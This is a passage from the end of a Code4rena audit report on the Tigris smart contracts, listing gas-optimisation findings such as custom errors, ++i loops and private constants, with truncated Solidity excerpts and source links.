34:       mapping(uint256 => mapping(address => mapping(bool =>
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L20

```
File: contracts/Referrals.sol

/// @audit (valid but excluded finding)
9:        bool private isInit;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L9

```
File: contracts/StableToken.sol

/// @audit (valid but excluded finding)
9:        mapping(address => bool) public isMinter;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L9

```
File: contracts/StableVault.sol

/// @audit (valid but excluded finding)
29:       mapping(address => bool) public allowed;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.s

ol#L29

```
File: contracts/TradingExtension.sol

/// @audit (valid but excluded finding)
15:       bool public chainlinkEnabled;

/// @audit (valid but excluded finding)
17:       mapping(address => bool) private isNode;

/// @audit (valid but excluded finding)
19:       mapping(address => bool) public allowedMargin;

/// @audit (valid but excluded finding)
20:       bool public paused;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L15

```
File: contracts/Trading.sol

/// @audit (valid but excluded finding)
134:      mapping(address => bool) public allowedVault;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L134

```
File: contracts/utils/MetaContext.sol

/// @audit (valid but excluded finding)
7:        mapping(address => bool) private _isTrustedForwarder;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/MetaContext.sol#L7

[G-27] Using `> 0` costs more gas than `!= 0` when used on a `uint` in a `require()` statement

This change saves [6 gas](#) per instance. The optimization works until solidity version [0.8.13](#) where there is a regression in gas costs.

There is 1 instance of this issue:

```
File: contracts/GovNFT.sol

/// @audit (valid but excluded finding)
130:           require(tokenId.length > 0, "Not bridging");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L130

[G-28] `++i` costs less gas than `i++`, especially when it's used in `for`-loops (`--i` / `i--` too)

Saves **5 gas per loop**

There are 21 instances of this issue:

```
File: contracts/BondNFT.sol

/// @audit (valid but excluded finding)
220:                 for (uint i=epoch[_tigAsset]; i<aEpoch; i+

/// @audit (valid but excluded finding)
284:             for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
292:             for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
300:             for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
```

```
342:             for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L220

```
File: contracts/GovNFT.sol

/// @audit (valid but excluded finding)
53:           for (uint i=0; i<assetsLength(); i++) {

/// @audit (valid but excluded finding)
67:           for (uint i=0; i<assetsLength(); i++) {

/// @audit (valid but excluded finding)
78:           for (uint i=0; i<assetsLength(); i++) {

/// @audit (valid but excluded finding)
95:           for (uint i=0; i<assetsLength(); i++) {

/// @audit (valid but excluded finding)
105:          for (uint i=0; i<_amount; i++) {

/// @audit (valid but excluded finding)
131:          for (uint i=0; i<tokenId.length; i++) {

/// @audit (valid but excluded finding)
200:          for (uint i=0; i<tokenId.length; i++) {

/// @audit (valid but excluded finding)
246:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
252:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
258:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
325:          for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L53

```
File: contracts/Lock.sol

/// @audit (valid but excluded finding)
113:          for (uint i=0; i < assets.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L113

```
File: contracts/Position.sol

/// @audit (valid but excluded finding)
296:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
304:          for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L296

```
File: contracts/Referrals.sol

/// @audit (valid but excluded finding)
70:           for (uint i=0; i<_codeOwnersL; i++) {

/// @audit (valid but excluded finding)
73:           for (uint i=0; i<_referredAL; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L70

[G-29] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that **returns a tuple** of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

There are 3 instances of this issue:

```
File: contracts/Lock.sol

/// @audit (valid but excluded finding)
12:       uint public constant minPeriod = 7;

/// @audit (valid but excluded finding)
13:       uint public constant maxPeriod = 365;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L12

```
File: contracts/Position.sol

/// @audit (valid but excluded finding)
16:       uint constant public DIVISION_CONSTANT = 1e10; // 100%
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L16

[G-30] Use custom errors rather than `revert()` / `require()` strings to save gas

Custom errors are available from solidity version 0.8.4. Custom errors save **~50 gas** each time they're hit by **avoiding having to allocate and store the revert string**. Not defining the strings also save deployment gas

There are 64 instances of this issue:

File: contracts/BondNFT.sol

```
/// @audit (valid but excluded finding)
63:           require(allowedAsset[_asset], "!Asset");

/// @audit (valid but excluded finding)
106:          require(bond.owner == _sender, "!owner");

/// @audit (valid but excluded finding)
107:          require(!bond.expired, "Expired");

/// @audit (valid but excluded finding)
108:          require(bond.asset == _asset, "!BondAsset");

/// @audit (valid but excluded finding)
110:          require(epoch[bond.asset] == block.timestamp/DAY,

/// @audit (valid but excluded finding)
111:          require(bond.period+_period <= 365, "MAX PERIOD");

/// @audit (valid but excluded finding)
142:          require(bond.expired, "!expire");

/// @audit (valid but excluded finding)
145:                  require(bond.expireEpoch + 7 < epoch[bond.a

/// @audit (valid but excluded finding)
173:          require(_claimer == bond.owner, "!owner");

/// @audit (valid but excluded finding)
329:          require(epoch[bond.asset] == block.timestamp/DAY,

/// @audit (valid but excluded finding)
330:          require(!bond.expired, "Expired!");

/// @audit (valid but excluded finding)
332:              require(block.timestamp > bond.mintTime + 300,

/// @audit (valid but excluded finding)
350:          require(assets.length == 0 || assets[assetsIndex[_a

/// @audit (valid but excluded finding)
358:          require(assets[assetsIndex[_asset]] == _asset, "No
```

```
/// @audit (valid but excluded finding)
373:          require(msg.sender == manager, "!manager");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L63

```
File: contracts/GovNFT.sol

/// @audit (valid but excluded finding)
51:           require(counter <= MAX, "Exceeds supply");

/// @audit (valid but excluded finding)
65:           require(msg.sender == address(this) || _msgSender(

/// @audit (valid but excluded finding)
66:           require(tokenId <= 10000, "BadID");

/// @audit (valid but excluded finding)
94:           require(ownerOf(tokenId) == from, "!Owner");

/// @audit (valid but excluded finding)
130:          require(tokenId.length > 0, "Not bridging");

/// @audit (valid but excluded finding)
132:              require(_msgSender() == ownerOf(tokenId[i]), "

/// @audit (valid but excluded finding)
140:          require(isTrustedAddress[_dstChainId][targetAddres

/// @audit (valid but excluded finding)
174:          require(_msgSender() == address(endpoint), "!Endpo

/// @audit (valid but excluded finding)
185:          require(msg.sender == address(this), "NonblockingL

/// @audit (valid but excluded finding)
194:          require(isTrustedAddress[_srcChainId][fromAddress]

/// @audit (valid but excluded finding)
209:          require(payloadHash != bytes32(0), "NonblockingLzA

/// @audit (valid but excluded finding)
```

```
210:          require(keccak256(_payload) == payloadHash, "Nonbl

/// @audit (valid but excluded finding)
241:          require(address(_endpoint) != address(0), "ZeroAdd

/// @audit (valid but excluded finding)
301:          require(assets.length == 0 || assets[assetsIndex[_
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L51

```
File: contracts/Lock.sol

/// @audit (valid but excluded finding)
66:           require(_period <= maxPeriod, "MAX PERIOD");

/// @audit (valid but excluded finding)
67:           require(_period >= minPeriod, "MIN PERIOD");

/// @audit (valid but excluded finding)
68:           require(allowedAssets[_asset], "!asset");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L66

```
File: contracts/PairsContract.sol

/// @audit (valid but excluded finding)
35:           require(_name.length > 0, "!Asset");

/// @audit (valid but excluded finding)
50:           require(_assetName.length == 0, "Already exists");

/// @audit (valid but excluded finding)
51:           require(bytes(_name).length > 0, "No name");

/// @audit (valid but excluded finding)
52:           require(_maxLeverage >= _minLeverage && _minLevera

/// @audit (valid but excluded finding)
```

```
75:           require(_name.length > 0, "!Asset");

/// @audit (valid but excluded finding)
84:           require(_idToAsset[_asset].maxLeverage >= _idToAss

/// @audit (valid but excluded finding)
94:           require(_name.length > 0, "!Asset");

/// @audit (valid but excluded finding)
95:           require(_baseFundingRate <= maxBaseFundingRate, "b

/// @audit (valid but excluded finding)
106:          require(_name.length > 0, "!Asset");

/// @audit (valid but excluded finding)
117:          require(_name.length > 0, "!Asset");

/// @audit (valid but excluded finding)
141:          require(_name.length > 0, "!Asset");

/// @audit (valid but excluded finding)
157:              require(_idToOi[_asset][_tigAsset].longOi <= _

/// @audit (valid but excluded finding)
177:              require(_idToOi[_asset][_tigAsset].shortOi <=

/// @audit (valid but excluded finding)
190:          require(_msgSender() == address(protocol), "!Proto
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L35

```
File: contracts/Position.sol

/// @audit (valid but excluded finding)
315:          require(_isMinter[_msgSender()], "!Minter");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L315

```
File: contracts/Referrals.sol

/// @audit (valid but excluded finding)
21:           require(_referral[_hash] == address(0), "Referral
```

```
/// @audit (valid but excluded finding)
81:           require(_msgSender() == address(protocol), "!Proto
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L21

```
File: contracts/StableToken.sol

/// @audit (valid but excluded finding)
52:           require(isMinter[_msgSender()], "!Minter");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L52

```
File: contracts/StableVault.sol

/// @audit (valid but excluded finding)
45:           require(allowed[_token], "Token not listed");

/// @audit (valid but excluded finding)
79:           require(!allowed[_token], "Already added");

/// @audit (valid but excluded finding)
90:           require(allowed[_token], "Not added");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L45

```
File: contracts/TradingExtension.sol
```

```
/// @audit (valid but excluded finding)
279:          require(msg.sender == trading, "!protocol");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L279

```
File: contracts/Trading.sol

/// @audit (valid but excluded finding)
876:          require(allowedVault[_stableVault], "Unapproved st

/// @audit (valid but excluded finding)
877:          require(_token == IStableVault(_stableVault).stabl

/// @audit (valid but excluded finding)
887:              require(_proxy.proxy == _msgSender() && _proxy
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L876

```
File: contracts/utils/TradingLibrary.sol

/// @audit (valid but excluded finding)
105:          require(_provider == _priceData.provider, "BadSig"

/// @audit (valid but excluded finding)
106:          require(_isNode[_provider], "!Node");

/// @audit (valid but excluded finding)
107:          require(_asset == _priceData.asset, "!Asset");

/// @audit (valid but excluded finding)
108:          require(!_priceData.isClosed, "Closed");

/// @audit (valid but excluded finding)
109:          require(block.timestamp >= _priceData.timestamp, "

/// @audit (valid but excluded finding)
110:          require(block.timestamp <= _priceData.timestamp +
```

```
/// @audit (valid but excluded finding)
111:          require(_priceData.price > 0, "NoPrice");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L105

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top